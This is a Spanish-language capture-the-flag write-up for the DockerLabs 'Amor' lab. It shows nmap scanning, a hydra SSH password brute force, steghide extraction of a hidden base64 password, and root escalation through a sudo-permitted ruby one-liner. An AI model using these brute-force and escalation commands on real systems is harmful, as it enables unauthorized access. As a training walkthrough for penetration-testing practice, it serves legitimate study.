Saltar a contenido

Maquina Amor

  • OS: Linux
  • Plataforma: DockerLabs
  • Nivel: Easy
  • Tags: #hydra #bruteforce #dockerlabs #esteganografia

Reconocimiento

Comenzamos con un escaneo con nmap para ver los puertos abiertos

nmap -p- -sS -Pn -n --min-rate 5000 -oN ports.txt 172.17.0.3
---------------------------------------------------------------
Nmap scan report for 172.17.0.3
Host is up (0.0000090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:D1:20:12:D4:7B (Unknown)
  • Puerto 80 HTTP y 22 SSH abiertos

Sobre los puertos abiertos realizo un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.

nmap -p 22,80 -Pn -n -sCV --min-rate 5000 -oN target.txt 172.17.0.3
--------------------------------------------------------------------
Nmap scan report for 172.17.0.3
Host is up (0.000055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 7e:72:b6:8b:5f:7c:23:64:dc:15:21:32:5f:ce:40:0a (ECDSA)
|_  256 05:8a:a7:27:0f:88:b9:70:84:ec:6d:33:dc:ce:09:6f (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: SecurSEC S.L
MAC Address: 02:D1:20:12:D4:7B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Puerto 22 SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13
  • Puerto 80 HTTP: Apache httpd 2.4.58

Enumeracion

Puerto 80 Apache

Al parecer es una pagina web relacionada una empresa donde se publican noticias y otras cosas.

  • Lo único resaltable es este anuncion donde se me indican 2 posibles usuarios, juan y carlota

Esa es prácticamente toda la informacion que nos da la web.

Explotación

Como no tengo mucha informacion y solo tengo 2 posibles usuarios opte por realizar un ataque de fuerza bruta usando hydra

  • Probé con los 2 usuarios y finalmente fue el usuario carlota con el que conseguí credenciales validas.
  • carlota:babygirl
> hydra -l carlota -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 10
------------------------------------------------------------------------------
[22][ssh] host: 172.17.0.3   login: carlota   password: babygirl

Me conecto mediante SSH.

> ssh carlota@172.17.0.2

Escalada de Privilegios

Lo primero que veo es que existe una imagen.jpg en la ruta:

> /home/carlota/Desktop/fotos/vacaciones/imagen.jpg

Por lo cual decidí bajármela la imagen en maquina.

> scp carlota@172.17.0.3:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg /home/wndr/Machines/DockerLabs/amor

Decidí usar stgehide para ver posibles mensajes ocultos mediante esteganografía.

  • Me extrajo un archivo llamado secret.txt que al parecer es un mensaje codificado en base64
> steghide --extract -sf imagen.jpg
> cat secret.txt
------------------------------------
ZXNsYWNhc2FkZXBpbnlwb24=

Decodifico el mensaje y veo que me regresa un texto.

> echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d; echo
----------------------------------------------------
eslacasadepinypon

Supuse que el texto era alguna contraseña o algo asi, asi que decidí apuntar al archivo /etc/passwd para ver posibles usuarios disponibles.

> cat /etc/passwd
--------------------------------------
oscar:x:1002:1002::/home/oscar:/bin/sh

Trate de migrar al usuario oscar con las credenciales encontradas y tuve éxito.

  • oscar / eslacasadepinypon
> su oscar

Siendo el usuario oscar procedí a enumerar binarios que pudiera ejecutar como el usuario root

> sudo -l
-----------------------------------------------------------
User oscar may run the following commands on a15681e926ec:
    (ALL) NOPASSWD: /usr/bin/ruby
  • El binario ruby puede ser ejecutado como cualquier usuario sin necesidad de contraseña

Con ayuda de GTFOBins abuso del binario y migro al usuario root.

> sudo -u root /usr/bin/ruby -e 'exec "/bin/bash"'
---------------------------------------------------------
root@a15681e926ec:/home/carlota/Desktop/fotos/vacaciones >  whoami
root

PWNED